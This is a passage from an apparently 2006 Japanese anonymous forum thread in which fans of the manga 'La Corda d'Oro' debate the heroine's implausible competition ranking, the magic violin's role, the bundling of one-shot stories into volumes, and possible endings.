感情がうまく乗ってヴァイオリンの音が引き出された…というところかね
でもその間には、黒柚木に揺さぶられたり大変だったわけだが

570 :花と名無しさん:2006/12/05(火) 22:58:28 ID:???0
ハイテンションな状態で弾けば上手に聴こえるヴァイオリンなのか

571 :花と名無しさん:2006/12/05(火) 22:59:54 ID:???O
コンクールに温情があったら、そんなのまともなコンクールじゃないよ
2セレの香穂子は火原以上に調子が良かった、
土浦は総合的にみて、選曲や感情が乗った上にテクニックも申し分なかった
と好意的な読んだ
3セレで月森の2セレでの出来事を考慮して、なんてありえない。
それこそ月森がもっとも嫌うひいきじゃないか
そう思われないために読者の知らないとこで努力した結果が3セレの2位だと
完全脳内補完した。

572 :花と名無しさん:2006/12/05(火) 23:02:43 ID:???0
つーか、あのコンクール、とうていまともなものではないわけだが。

対外的には何の権威もない学内コンクールだし、かなり変則的な
ルールだし、妖精が審査してて、審査員は操り人形だとしても
驚かないw

573 :花と名無しさん:2006/12/05(火) 23:04:13 ID:???0
妖精が審査してたら毎回香穂子が1位だと思うぞw

574 :花と名無しさん:2006/12/05(火) 23:11:02 ID:???0
調子が良くても技術はないんだよね、香穂子は。
作中で何度も言われている。

スケートでも、技術点と芸術点があって、いくら芸術的表現に優れていても
トリプルジャンプやトリプルアクセルが飛べないと、表彰台に上がれない。

音楽のコンクールは、技術は二の次なんだろうか?
でないと香穂子が2位なんてあり得ない気がするが。

575 :花と名無しさん:2006/12/05(火) 23:12:43 ID:???0
>>572
なるほど。

実はコンクールには黒幕がいて、
そいつが送り込んだ最強キャラが乱入し
圧倒的な演奏力で1位をかっさらいそうになるが、
香穂子が覚醒してそれを上回る奇跡の演奏をして1位で終わる。
そして黒幕の野望は潰える。
なんて展開になったりして・・・・。

576 :花と名無しさん:2006/12/05(火) 23:13:41 ID:???0
そりゃあコンクールが決まってからヴァイオリンを覚えた香穂子に技術がある方が不自然だよ

しかしそうすると、コンクールの審査基準が謎になるんだよね

577 :花と名無しさん:2006/12/05(火) 23:15:07 ID:???0
>>574
技術以外にも、情感なんかの表現にしても
香穂子が音楽科を凌駕するほどとはとても思えない

578 :花と名無しさん:2006/12/05(火) 23:17:09 ID:???0
>>564きもい

579 :花と名無しさん:2006/12/05(火) 23:17:14 ID:???0
>>574
そこで魔法のスケート靴ですよw

魔法のスケート靴を履けば、トリプルジャンプもトリプルアクセルも、クワドラブルも思いのまま!
もともとスケートの才能があるんだから、魔法のスケート靴はそれを引き出す補助輪に過ぎないからおk!

香穂子が罪悪感に駆られる筈だよ…

580 :花と名無しさん:2006/12/05(火) 23:18:10 ID:???0
月森母によれば「とても伸びやかで素敵な演奏だった」ということだよね<香穂子

志水は牛歩、冬海ちゃんは緊張し過ぎて減点対象になったとして、
火原と柚木よりも上にいく要素を探すのは難しい…

581 :花と名無しさん:2006/12/05(火) 23:19:27 ID:???0
トリプルアクセルはできても形は酷いとかそんなだと思うが。
つか、ゲーム話になるけど




重音とかその辺は、魔法のヴァイオリンでも弾けるようにはならない。
練習するか、妖精さんからドーピングアイテムを買わないとw

582 :花と名無しさん:2006/12/05(火) 23:21:38 ID:???0
だから、審査員は妖精だから、自分にとって気持ちのいい音楽しか
評価しないんだって。

まあ、冗談はともかくとして、あのコンクールの審査員は明確な
審査基準とかなくて、自分の好きに点数つけられる気がする。
今のスケートの審査には、厳しい基準があるけど、昔は審査員の
気持ちひとつだったし。

583 :花と名無しさん:2006/12/05(火) 23:21:55 ID:???0
>>576
参加してる方は不満に思わないのだろうか

584 :花と名無しさん:2006/12/05(火) 23:22:54 ID:???0
>>581
形が酷くても、スケートではトリプルアクセルができればポイントがすごく加算されるよ
ま、音楽の採点の仕方は知らないが




にしてもゲーム話の妖精さんから〜にワロたw

585 :花と名無しさん:2006/12/05(火) 23:25:47 ID:???0
ああ、補助輪だったねそういえば。
スケートよくわからないけど、
ジャンプの高さも滞空時間も与えられるけど、そこで何をするか?程度の補助とか


586 :花と名無しさん:2006/12/05(火) 23:27:56 ID:???0
スケートの審査は一人一人演じ終わった時点で点数が付いて、
その点数も後に出る優勝候補のことなんか考慮して
最初は点数を低めに出すから不利だったり、いろんな縛りも

…コンクールの採点って、全員の演奏が終わってから
一人一人に点数を振り分けるようなイメージなのかなぁ

587 :花と名無しさん:2006/12/05(火) 23:29:15 ID:???0
>>585
いや、他の選手だってジャンプの高さや滞空時間を与えられたら、3回転半や4回転ができてしまうよ
皆それが足りないから、3回転半や4回転が成功しないんだから

こうして見ると、補助輪とは言え魔法のヴァイオリンで香穂子はすごく優遇されているな

588 :花と名無しさん:2006/12/05(火) 23:31:49 ID:???0
>>564
柚木 性格悪い 腹黒い 人を騙す
月森 感じが悪い 協調性ない 自分以外は敵

589 :花と名無しさん:2006/12/05(火) 23:32:34 ID:???0
しかし便利な補助輪だなw
補助輪がしてくれることは
「普通の自転車に転ばずに乗れる」程度の補助だと思うけど
何故か競輪選手目指して修行してる連中と
同等の舞台に立てるくらいになっている

590 :花と名無しさん:2006/12/05(火) 23:34:12 ID:???0
>>587
その結論はものすごくおかしいぞw
スケートで高さを与えられるとかってのは585の仮定だろう。

魔法のヴァイオリンはどっちかというと、滑れるようになるだけ、
ジャンプができるようになるだけ、高さや滞空時間は香穂子の
才能って感じかと。

591 :花と名無しさん:2006/12/05(火) 23:34:35 ID:???0
補助輪どころかエンジンに思えるよw

592 :花と名無しさん:2006/12/05(火) 23:35:09 ID:???0
>>590
もっと無理だろw

593 :花と名無しさん:2006/12/05(火) 23:36:26 ID:???0
魔法のヴァイオリンの解釈は>>590に近いものだと思うよ。

594 :花と名無しさん:2006/12/05(火) 23:38:24 ID:???0
滑れるようになるのとジャンプができるようになるのとだけでも
物凄い開きがありそうだが

595 :花と名無しさん:2006/12/05(火) 23:39:21 ID:???0
>>590
高さや滞空時間は本人の筋力に関係することなんだが。
つまり「補助」輪の筈なのに、トレーニング抜きには絶対備わらない筈の能力を与えるのが魔法のアイテムだと?
ありえね〜!


596 :花と名無しさん:2006/12/05(火) 23:42:14 ID:???0
「補助」輪なんだから、練習しなければ備わらない筈の能力を与えるのはおかしい気がする
ついでに技術的な技巧についても

「補助」して本人の感情表現をストレートに表しやすくする感じじゃないのか?

597 :花と名無しさん:2006/12/05(火) 23:43:00 ID:???0
そもそもまったく被らないスケートの例を無理矢理当てはめようとしてるから
あり得ないことになってるんだと、気がついてないんだろうか……

598 :花と名無しさん:2006/12/05(火) 23:43:40 ID:???0
>>585なんだけど、
香穂子はそれくらいの補助をうけてるよね、のつもりで書いた。ごめん



599 :花と名無しさん:2006/12/05(火) 23:44:11 ID:???0
>>596
それだと技術を補ってるのは何なのかと思う
技術の拙さを補って余りあるほど素晴らしい感情表現wを
可能にしてるのか

600 :花と名無しさん:2006/12/05(火) 23:44:31 ID:???0
>>597
しーっ。
それ言っちゃだめだって!

601 :花と名無しさん:2006/12/05(火) 23:46:10 ID:???0
もともとスケートは採点方法の例えで出されているんだろ
つまり「技術」「感情表現(解釈)」の両方が重要で、魔法のアイテムはその両方もカバーして
香穂子を2セレで2位まで押し上げたのかってこと

魔法のヴァイオリンはそこまで助けないというなら、あの順位は不自然だねって話

602 :花と名無しさん:2006/12/05(火) 23:47:51 ID:???0
>>601
だよな。スケートの例が出てきたのをいいことに、採点の不自然さの話から無理やり、話を逸らしたい人がいるように見える。
多分、1人だ。

603 :花と名無しさん:2006/12/05(火) 23:48:24 ID:???0
>>591
そうそうw

604 :花と名無しさん:2006/12/05(火) 23:48:54 ID:???0
昨日は月森擁護、今日は香穂子擁護の人が元気なんだと思ったw

605 :花と名無しさん:2006/12/05(火) 23:49:29 ID:???0
金やん擁護も元気だったお

606 :花と名無しさん:2006/12/05(火) 23:50:24 ID:???0
スケートの公式な大会には厳格な審査基準があるけど、
コルダの場合は基準ないんじゃ?って言われてるじゃん。

つーか、スケートだって、公式じゃないクラブ内の大会みたいのあったら、
公式ほど厳格な審査基準も受けないでしょ。
それが選考会とか、そういう付加価値がないならなおさら。

607 :花と名無しさん:2006/12/05(火) 23:50:27 ID:???0
>>599
作者的にはそういうつもりじゃないのか?
作中でも、技術的には大したことないと何度も言われているし。

608 :花と名無しさん:2006/12/05(火) 23:51:51 ID:???0
一人しか以内とか言っちゃってる段階でイタスギ…

609 :花と名無しさん:2006/12/05(火) 23:52:20 ID:???0
>>607
つまり、他の参加者は技術が低い香穂子に総合点で負けるほど
お粗末な感情表現しか出来なかったわけね・・・

610 :花と名無しさん:2006/12/05(火) 23:52:31 ID:???0
>>602
そういうこと言い出すと、まともな話ができなくなるからやめれ。
リアル厨房じゃあるまいし。

611 :花と名無しさん:2006/12/05(火) 23:52:36 ID:???0
>>606
そう。で、審査員はどういう風に順位をつけているのかって話をしているんだよね。
単に好き嫌いで採点して、技術的な優劣は問題にしないのかと。

いい加減ループなんだが。

612 :花と名無しさん:2006/12/05(火) 23:53:53 ID:???0
>>611
そうなんじゃないの?
審査員の好き嫌い。

でも、その中には技術重視の人もいるだろ。

613 :花と名無しさん:2006/12/05(火) 23:54:00 ID:???0
>>609
そういうことになってしまうよな

だからいくら絶好調とは言え、香穂子2位は他の参加者の実力を考えると
やり過ぎだったという話をしていたんだよね

614 :花と名無しさん:2006/12/05(火) 23:55:01 ID:???0
まとめると、呉先生、そこまで不自然だと考えていなくて2位にしたでしょうってことでFA?

615 :花と名無しさん:2006/12/05(火) 23:55:05 ID:???0
じゃあ、スケートの例を出した>>574がアホと言うことでw

616 :花と名無しさん:2006/12/05(火) 23:55:06 ID:???0
>>611
審査員の好き嫌いということにしないと無理があるな
たまたま、2セレの香穂子の演奏が何となく気に入った人が多かったと

617 :花と名無しさん:2006/12/05(火) 23:56:02 ID:???0
>>614
それでいいのではないでしょうか

618 :花と名無しさん:2006/12/05(火) 23:56:09 ID:???0
>>214
多分、それでFA
ついでに先生、魔法のバイオリンはどこまで出来るかもはっきり考えていなかったっぽいw

619 :花と名無しさん:2006/12/05(火) 23:57:10 ID:???0
>>615
蒸し返し厨房、乙!

620 :花と名無しさん:2006/12/05(火) 23:57:35 ID:???0
>>615そこまで言ってない。総意のような書き方すんな



621 :花と名無しさん:2006/12/05(火) 23:58:25 ID:???0
別にあのコンクール出たからって、海外留学とか大きなコンクールに
出られるってわけじゃないし、審査員も気楽に審査してると思うなあ。
そもそもコンクールに出る基準も(何も知らない人にとっては)謎なんだしね。
つか、校長あたりが「審査員の皆さんの好きに点数つけてください」とか
言ってそうだ。もちろん黒幕はリリ。

622 :花と名無しさん:2006/12/05(火) 23:58:33 ID:???0
なんかテンション高めの変なの沸いてるよね最近

623 :花と名無しさん:2006/12/05(火) 23:59:12 ID:???0
>>615
音楽の採点における技術の重要度について引き合いに出しているだけなんだから、
別にアホでも何でもないと思うが

他人をアホ扱いしたりしてスレを荒らすのはやめれ

624 :花と名無しさん:2006/12/05(火) 23:59:21 ID:???0
>>619みたいなのとか?

625 :花と名無しさん:2006/12/05(火) 23:59:58 ID:???0
>>621
あー、それはありそうだ。

626 :花と名無しさん:2006/12/06(水) 00:00:30 ID:???0
>>621
点数制なのか?w

627 :花と名無しさん:2006/12/06(水) 00:01:22 ID:???0
>>622
テンション高めというより、自分の主張が通らないとファビョって他人のせいにして叩く変なのだね
スレが荒れるから勘弁してほしい

628 :花と名無しさん:2006/12/06(水) 00:01:25 ID:???0
間違えた
×別にあのコンクール出たからって
○別にあのコンクールで優勝したからって

629 :花と名無しさん:2006/12/06(水) 00:01:50 ID:???O
日本語の意味、判ってない人とか。
辞典ひいて意味調べた方がいいよと思う人も居る。

630 :花と名無しさん:2006/12/06(水) 00:02:09 ID:???0
>>627
>>602とか、その最たる例だねw

631 :花と名無しさん:2006/12/06(水) 00:02:42 ID:???0
>>613
順位は相対的なものなんだから
香穂子を持ち上げれば、その分他の面子が
「魔法に頼ってる素人にすら劣る」という結果になってしまうんだがね。
そこまで考えてないんだろうなー
ゲームでは有り得ることだから、で片付けてるっぽい…

632 :花と名無しさん:2006/12/06(水) 00:03:14 ID:???0
>>627
たしなめられると、すぐ他人のレスを出してこいつこいつ、という辺り、解りやすくはあるが。
しかしいくら言われても、他人に責任転嫁し続けているところを見ると、そいつには何を言っても無駄だよ。
スルー推奨。


633 :花と名無しさん:2006/12/06(水) 00:04:13 ID:???0
>>631
そんな風に考えたことなかったから驚きだ

なるほど、そういう考えだから……なわけだ

634 :花と名無しさん:2006/12/06(水) 00:07:17 ID:???0
音楽科のメガネ君にさぞや共感しそうな面子が混じっているな…
自分があくまで正しいと思って、まともなレスも攻撃せずにはいられない
ID出ないスレだとあぽーんできなくてつらい

>>631
禿げしく胴衣


635 :花と名無しさん:2006/12/06(水) 00:08:59 ID:???0
呉さん自身、自分の描きたいものを実現させる手法が
結果的に数々の犠牲や矛盾を招いてしまっていることに気付いているのかな

描きたいこと、伝えたいことは読めばだいたい伝わってくる
ただ、それに対する説得力に欠けた描写が多いのはとても残念だよ

636 :花と名無しさん:2006/12/06(水) 00:09:30 ID:???0
おっと、リロしていなかった、すまん

>>631
「魔法に頼ってる素人にすら劣る」理由があるならいいんだけどね
冬海ちゃんの緊張や志水君の牛歩、3セレでは火原先輩のメンタル面での動揺とか

637 :花と名無しさん:2006/12/06(水) 00:12:10 ID:???0
>>635
やっぱり、長編連載はまだ早すぎたんじゃないかって思える

638 :花と名無しさん:2006/12/06(水) 00:17:53 ID:???0
原作付だったら、まだ良かったんだが

639 :花と名無しさん:2006/12/06(水) 00:18:33 ID:???0
>>637
散々ガイシュツだけど
短編を描くような調子で考えてるのか、
話し全体の構造があまりないように感じる
長期連載でそれができないって、もう致命的だよ・・・

640 :花と名無しさん:2006/12/06(水) 00:18:44 ID:???0
>>634
王崎先輩のことだったらヒドス(´・ω・`)

641 :花と名無しさん:2006/12/06(水) 00:18:46 ID:???0
結局はそこへ行き着くな…

642 :花と名無しさん:2006/12/06(水) 00:20:39 ID:???0
>>640
メガネ君というのは、月森を蹴った子のことだと思うぞ

643 :花と名無しさん:2006/12/06(水) 00:22:35 ID:???0
>>638
設定からして反発しそうな人が多いのに
オリジナルの実績さえ無い呉さんに全てを委ねるのは無謀だったかもね

644 :花と名無しさん:2006/12/06(水) 00:22:57 ID:???0
8巻は3月発売と予想。本編4特別編2読み切り1とみた

645 :花と名無しさん:2006/12/06(水) 00:24:01 ID:???0
>>644
ゲームの続編発売、いつだっけ?
そこに合わせるんじゃないかな。

646 :花と名無しさん:2006/12/06(水) 00:24:14 ID:???0
>>639
編集も指導しないみたいだし・・・

647 :花と名無しさん:2006/12/06(水) 00:26:04 ID:???0
>>621
このコンクールで優勝した者は世界で云々・・・って書いてあったやうな

648 :花と名無しさん:2006/12/06(水) 00:26:39 ID:???O
コルダの読み切りなら歓迎だがオリジナルイラネ
コルダ漫画に余計なもんいれんな ペッ( ゚д゚)、

649 :花と名無しさん:2006/12/06(水) 00:28:01 ID:???0
>>644
特別編入るとしたら、この前の土浦のやつと
あともうひとつってなんだっけ?


個人的にもう特別編いらない・・・
ストーリーに直結するような話を特別編って
それは特別編じゃねーだろ、と思う
一番特別編らしい特別編は、女子トークだけだ
ああ、あと評判は悪かったし、自分も好きじゃないけど
入れ替わりの話もかな

650 :花と名無しさん:2006/12/06(水) 00:28:47 ID:???0
>>645
いまゲームスレにちょうど発売日の話が出てたけど
発売は3月31日らしいよ

651 :花と名無しさん:2006/12/06(水) 00:30:01 ID:???0
今現在コミクス未収録なのは、32楽章〜34楽章、土浦ショートかな?
なら、3月頭くらいに8巻出しそうだね

ショート入れる代わりに、たまには本編で40ページとかやってほしいな

652 :花と名無しさん:2006/12/06(水) 00:31:13 ID:???0
>>650
また露骨な・・・

653 :花と名無しさん:2006/12/06(水) 00:33:38 ID:???0
>>652
スマン、素でわからないんだが、なぜ3月31日発売が露骨なの?

654 :花と名無しさん:2006/12/06(水) 00:34:19 ID:???0
>>647
単なるジンクスであって現実ではない。

655 :花と名無しさん:2006/12/06(水) 00:34:22 ID:???0
年度末、決算期だからじゃないか?
日頃の赤字を一気に取り戻すのだよ

656 :花と名無しさん:2006/12/06(水) 00:34:26 ID:???0
>>591
>補助輪どころかエンジン

上手い例えだ。いや実際エンジンだよ

657 :花と名無しさん:2006/12/06(水) 00:34:59 ID:???0
>>653
652じゃないけど、年度末ってことじゃないかな。
会社の売り上げとかの問題。

658 :花と名無しさん:2006/12/06(水) 00:37:06 ID:???0
>>648
8巻にも読み切り入ってたら、涙を飲んで購入諦めるよ
漫画喫茶で読むか、古本屋で買う
平然と抱き合わせ商法する白癬社に金落としたくない

659 :花と名無しさん:2006/12/06(水) 00:38:04 ID:???0
>>655
>>657
d
自分は経理関係ってやったことないんでわからないんだけど
決算って20日とか25日で締めてしまうのかと思ってた
ゲーム会社はしっかり31日に締めるんだろうか・・・

660 :花と名無しさん:2006/12/06(水) 00:38:57 ID:???0
>>656
同意。補助輪などという慎ましいものではないよw

661 :花と名無しさん:2006/12/06(水) 00:39:56 ID:???0
>>658
抱き合わせ商法ってwwww
それ使い方間違ってるからww

つか、少女漫画の単行本で連載作品じゃない読み切りが
入ってるなんて当たり前のことだぞ。

662 :花と名無しさん:2006/12/06(水) 00:41:07 ID:???0
>>658
呉さんの代表作がコルダだからって
過去の読み切りを入れるのがそんなに酷いことか?

663 :花と名無しさん:2006/12/06(水) 00:42:13 ID:???0
表題作だけ読みたい場合は辛いかな

664 :花と名無しさん:2006/12/06(水) 00:42:43 ID:???0
>>659
どの会社も帳簿は末日で締めるのが通常だよ
20日や25日で締めるのは、給料とかでないか?

665 :花と名無しさん:2006/12/06(水) 00:42:51 ID:???0
>>658
また、ずいぶん極端だな・・・


666 :花と名無しさん:2006/12/06(水) 00:42:54 ID:???0
>>659
自分も分からん・・・

31日に締め切ったって、一日分の売り上げしか含まれないよね?
年度末決算のあてにするなら3月上旬発売とかにした方がいいと思うんだけど

667 :花と名無しさん:2006/12/06(水) 00:43:59 ID:???0
>>664
そうなのかー
d

668 :花と名無しさん:2006/12/06(水) 00:47:06 ID:???0
>>663
ま、そりゃコルダに限らないしな

669 :花と名無しさん:2006/12/06(水) 00:47:11 ID:???0
読みきり嫌いではないけれど、6巻も7巻と続けて入ってて
ショート以外には4楽章分しか入ってなかったから、
一冊丸々コルダで埋められたものを読みたいという気持ちは多少あるよ

670 :花と名無しさん:2006/12/06(水) 00:49:52 ID:???0
>>666
通常のペースで開発・製作したら4月中旬発売くらいになるのを
決算に間に合わせて3月31日なんだと思う。
普通、決算を意識したら1週間くらいは見るけど、
製作スケジュール上その余裕がないんじゃないかな

671 :花と名無しさん:2006/12/06(水) 00:50:18 ID:???0
まあ、逆に言うと少女漫画で短編集なんて、ある程度の売り上げが
認められる人ぐらいしか出せないんだよな。
だから短編って、コミックスに収録されないことが多い。

だから、こうやって連載のコミックスに入るだけでもありがたい。

672 :花と名無しさん:2006/12/06(水) 00:50:37 ID:???0
資本金 90億9,081万円(2006年3月31日現在)
売上高 262億2,400万円(2006年3月期、連結)
総資産 647億5,800万円(2006年3月期、連結)

ってスレ違いだねごめん

673 :花と名無しさん:2006/12/06(水) 00:50:54 ID:???0
一冊丸々コルダじゃなきゃいやだ!って思ったことなかったから
ここでそういう人がいるということを知って、ちょっとビックリした

674 :花と名無しさん:2006/12/06(水) 00:52:00 ID:???0
>>673
それだけ、コルダは好きでも呉漫画は微妙だと
思ってる人がいるんじゃないかな

675 :花と名無しさん:2006/12/06(水) 00:54:06 ID:???0
コミクス派の人にとっては、よりたくさん本編が収録されている方が
嬉しいと思うんだけどどうだろう?
そういう心理が働くのはいけないことかねぇ…

676 :花と名無しさん:2006/12/06(水) 00:54:42 ID:???0
>>674
そういう人もいるかもしれないけど、本誌で追ってなかった頃は
ひと月分でも多くコルダを読みたかったから。

677 :花と名無しさん:2006/12/06(水) 00:54:51 ID:???0
>>661
>少女漫画の単行本で連載作品じゃない読み切りが
>入ってるなんて当たり前のこと

そうなのか? スマン、俺少女漫画の単行本は
CCさくらとのだめカンタービレしか持ってないもんで

他の作品でも事情同じなら別に購入諦めなくてもいいか

678 :花と名無しさん:2006/12/06(水) 00:57:01 ID:???0
>>675
>よりたくさん本編が収録されている方が嬉しい
コルダが好きでコミックスを買おうと思うなら
全然おかしいことじゃないと自分は思うよ

679 :花と名無しさん:2006/12/06(水) 00:58:03 ID:???0
>>675-676
過去作品入れればより早いペースでコミックス出せるんだから
かえって良くない?

680 :花と名無しさん:2006/12/06(水) 00:58:44 ID:???0
>>675
別にいけなくはないだろうね。
逆に連載漫画のコミックスに読みきり入ってることも
責められるようなことじゃないけど。

681 :花と名無しさん:2006/12/06(水) 00:59:29 ID:???0
コルダ本編が切りのいいところで続くになって、残りのページに短編が入るならいいんだけどね。
でも、例えば婚約者騒動の2話を半分ずつ別の巻に収録しているのに
余ったページに昔の短編を入れるのはちょっと…。

682 :花と名無しさん:2006/12/06(水) 01:01:10 ID:???0
>>679
?読みきりが入らなければ1話分そのコミクスで読めるんだから、
入れてほしくないという気持ちの方が勝るんじゃないの?
自分は本誌購入してるから憶測でしか言えないが…

683 :花と名無しさん:2006/12/06(水) 01:02:24 ID:???0
>>680
うん、別に自分は読みきり入っててもそれを責めるつもりはないよ
ただそういう風に思う人が居てもおかしくはないよね、と言いたかっただけで…

684 :花と名無しさん:2006/12/06(水) 01:03:11 ID:???0
少なくとも、白癬社関係者は昔の短編でも何でも入れて
詰めればコミックス10巻で終わるのを15巻に引き伸ばし
コンスタントに売り上げがあるのがいいんだろう

大人の事情ってやつだな


685 :花と名無しさん:2006/12/06(水) 01:03:59 ID:???0
>>675
別に誰もいけないとは言ってないし、
どんな心理が働いてもいいんじゃない?

686 :花と名無しさん:2006/12/06(水) 01:04:47 ID:???0
>>675
誰もいけないことなんて言ってないだろ
最後の1行はまったくいらない文章だね

687 :675:2006/12/06(水) 01:06:39 ID:???0
あぁ、最後の一行は余分だったな
読みきりイラネな人が悪いと思ってる人が居るような印象だったもので
申し訳ない

688 :花と名無しさん:2006/12/06(水) 01:08:33 ID:???0
そしてまた余計な一言を言う687であった

689 :花と名無しさん:2006/12/06(水) 01:09:04 ID:???0
>>681
あ〜解る!
例えば婚約者騒動2話分を入れて、またページが余るが、
続く香穂子の葛藤編はまとめて読む方がいいから…と、
残りのページに昔の短編を入れるんだったら、全然気にならないな。

婚約者騒動自体が番外編みたいなものなのに、
ページにゆとりがあるのにそれをわざわざ次の巻に持ち越す形にしているのが、
大人の事情かもしれないが作品に対する愛を感じなくて嫌だ。


690 :花と名無しさん:2006/12/06(水) 01:09:05 ID:???0
>>688も余計

691 :花と名無しさん:2006/12/06(水) 01:10:59 ID:???0
つか、いちいちケンカ腰な物言いをしてる人は何なんだ?
もうちょっと普通に話そうよ…

692 :花と名無しさん:2006/12/06(水) 03:58:30 ID:???0
婚約者騒動の分割コミックス掲載は、続けて読むとストーリーの荒が目立つからじゃないか?

前編で追っかけてきた4人が着物に着替える理由がない。
家が留守だから香穂子や礼乃を呼んだんだから、一体誰に対して不自然でないよう着替えさせたんだ?

まあそれでも前編だけならそんなに気にならないが、
後編でコンクールのことで集まったと名乗り出たところで致命的におかしな話になる。
あそこで家の人の前で登場させるなら、あの面子は元の制服のままの方が説得力があって良かった筈だ。

どうも前編のネームを切った時点で、後編のストーリーをちゃんと考えていなかったっぽいな。
だから着物姿萌えなシチュエーションにしたのはいいが、後でおかしなことになる。

婚約者騒動は根本的におかしな点だらけだが
(本命は別と後で明らかにバレるのに香穂子に本命のフリをさせたとか、
 なんで雅は祖母の帰宅を直前予知できるのかとか、
 セレクションのメンバーはともかく礼乃が留守宅を訪ねた理由にならないぞとか)
続けて読むよりコミックスを跨いだ方が、矛盾に気づきにくいだろうという計算があったんじゃないかな?


693 :花と名無しさん:2006/12/06(水) 05:58:38 ID:???0
>>692
他はともかく、雅が祖母さん却って来るのに気付いたのは
単に連絡があったからじゃないの?
別にエスパーしたわけじゃないと思うが。

と、一つくらいは擁護してみたが、あとはなんともw
着物に着替えさせたのは、単なる萌えのためっぽいしな〜。
無理矢理解釈してそこにいておかしくないように、なら礼乃に大してかな?
どう考えても無理矢理です本当に(ry

694 :花と名無しさん:2006/12/06(水) 07:23:46 ID:???0
>>692
自分もあの言い訳おかしいと思ったよw
礼乃が留守宅を訪ねた理由にはなってないのに
あっさり引き下がるばーちゃん・・・

695 :花と名無しさん:2006/12/06(水) 07:52:00 ID:???0
今後の展開予想

普通のヴァイオリンで練習→普通のヴァイオリンで4セレ参加→7位

というのが一番自然だと思うのだが、さてどうなることやら。
普通のヴァイオリンで参加してビリ以外だったら、他の人たちの立場が無い。
ビリ以外の順位にするなら、魔法のヴァイオリンを復活させんとあかん。

696 :花と名無しさん:2006/12/06(水) 08:00:49 ID:???O
一人でも香穂子より下だったら酷いな
でも呉さんだから斜め下いくんだろうか

697 :花と名無しさん:2006/12/06(水) 08:46:24 ID:???O
ヴァイオリンが弾ければそれで良いとコンクールを辞退

当日は客席で観覧

みんなの演奏が終わった後に参加者の誰かから名前を呼ばれる

客席からも歓声、出演者全員で合奏

リリの目的は果たされた!

「優勝者は──」

私たちはまだ始まったばかり



698 :花と名無しさん:2006/12/06(水) 08:51:01 ID:???0
もうそれでいいよ…

699 :花と名無しさん:2006/12/06(水) 09:03:00 ID:???0
>>590
魔法のヴァイオリンは演奏者の感情によって能力を引き出すから
感情が乗ればめちゃめちゃ高いジャンプも出来るようになる

だと思う

700 :花と名無しさん:2006/12/06(水) 09:45:52 ID:???O
>697
withの最終回みたいにこれから壇上に立つってところで完とか

701 :花と名無しさん:2006/12/06(水) 12:09:55 ID:???0
以前も恋愛相手の誰かが後姿の香穂子を見てて
そこで香穂子が振り返ってにっこり笑って完、
ってな予想が出てたねw

遙かでは自分の最萌とくっついてくれなきゃ
コミック全巻ブクオフで売るっていってる人がいたけど
コルダもそこまで思ってる人っているんだろうか
自分はどのキャラも好きだから、誰とくっついてくれてもおk
話をしっかり書いてくれれば
今みたいな調子で終わりまでいくなら、687の終わり方でいい
というかむしろそうやって終わらせてほしい

702 :花と名無しさん:2006/12/06(水) 12:50:57 ID:???0
自分の最萌とのEDを望んでる人が多いとは思うけど
やっつけでくっつけられるくらいなら、ED相手じゃない方がいいって人も
コルダの場合はそれなりにいるような気がする。

3セレ終わっても香穂子が誰にも恋愛感情持ってないのに
残りのたった数日で気持ちが盛り上がってED…って無理ありすぎるから
恋愛EDはないと自分は思う。

703 :花と名無しさん:2006/12/06(水) 14:32:54 ID:???O
残りの日ははっきり言って恋愛どころじゃない筈だしね…どうするんだろ

704 :花と名無しさん:2006/12/06(水) 15:46:33 ID:???O
香穂子にとって一番ネックであったはずの魔法のヴァイオリン問題を
(一応)自己解決してしまった点が痛い
誰かとの恋愛というのが自分の中には全くイメージ浮かんで来ないな
一人でなんでもやれるんじゃ?と思ってしまう

705 :花と名無しさん:2006/12/06(水) 15:55:24 ID:???0
一人でなんでもやれると恋愛しちゃいかんのか?
不思議な考え方だ。

706 :花と名無しさん:2006/12/06(水) 16:07:28 ID:???O
>>701
ノシ
最萌ED、リリED、不確定EDじゃなければ売っておいしいもの食べる。
もしくは最終巻のみ捨てるか、EDページのみ破るか、ホチキス。
あとは最萌観賞用。

現時点でもほとんど観賞用だがなーorz

707 :花と名無しさん:2006/12/06(水) 16:28:08 ID:???O
恋愛に限らず、友達関係にしても香穂子は常に単独行動している印象が強い
周りが手を差し伸べても頼るわけでもなく
でも八つ当たりしたり凹んだり…かといえば一人で浮上して当時の出来事は
受け身で気付く程度だし、魅力をあまり感じない
可愛げがない、という感じか…合宿編のときはそうでもなかったんだけど

708 :花と名無しさん:2006/12/06(水) 16:56:21 ID:???O
>>706
凄いな…自分はそこまで思い入れ深くないや

709 :花と名無しさん:2006/12/06(水) 17:16:00 ID:???0
>>706
すごすぎてチョト怖いよw
そこまで思い入れないから
そういう人もいるんだなって分かってよかったけど

710 :花と名無しさん:2006/12/06(水) 17:42:26 ID:???O
>>708-709
漫画スレでこういうこと言うのもなんだが、漫画自体には思い入れないよ
ただ最萌が出てる、出てるなら……ってだけで。

今から誰かとくっつくEDはないな、と思ってるので安心して読んでる。
覚悟もしてるけど。
でも誰かとED迎えるにはただでさえ期間短いのに無茶だよなw
なによりもう最終セレだ。

711 :花と名無しさん:2006/12/06(水) 17:45:56 ID:???0
正直、自分の萌えキャラとかほちゃんはくっついて欲しくないな…

712 :花と名無しさん:2006/12/06(水) 17:52:53 ID:???O
まあその気持ちもわからんではないが、どうせくっつくなら、って感じかなー

713 :花と名無しさん:2006/12/06(水) 18:04:59 ID:???O
ここはゲームの続編が出なかったから、仕方なく漫画読んでた人が集うスレなの?

714 :花と名無しさん:2006/12/06(水) 18:11:04 ID:???O
ゲームからコルダが好きだから読んでる人
唯一のコルダ展開がこれだけだったから読んでる人
漫画から読み始めて好きな人
アニメから入った人

色々いるんじゃないの?アンチ含めて。

715 :708:2006/12/06(水) 18:22:52 ID:???O
>>710
自分が書いた「思い入れ」というのは、もちろんキャラに対してだよ

漫画に思い入れあるなしは個々の価値観によるものだと思うけれど
ED相手は物語の最たるものとして、これまでのエピに関しても
好きキャラがぞんざいに扱われたり、他キャラと良い雰囲気なシーンがあるだけでも
嫌だと感じてしまってるんじゃないか?そこまで好きなら

なんかうまく言えんが、思い入れというのは良くも悪くも働きそうだなと思ったんだ
絵目的に徹するにはしんどそうな気がして

716 :710:2006/12/06(水) 18:44:32 ID:???O
>>715
>好きキャラがぞんざいに扱われたり、他キャラと良い雰囲気なシーンがあるだけでも
それはもちろん、としか言いようがないけど最萌以前にコルダが好きなので
不必要な萌エピ、空気扱い、放置が一番嫌かな。
必要な流れであれば最萌以外といい雰囲気でも気にならないんだけど……
もっと最萌と!というのは本音だけどねw


>思い入れというのは良くも悪くも働きそうだなと思ったんだ
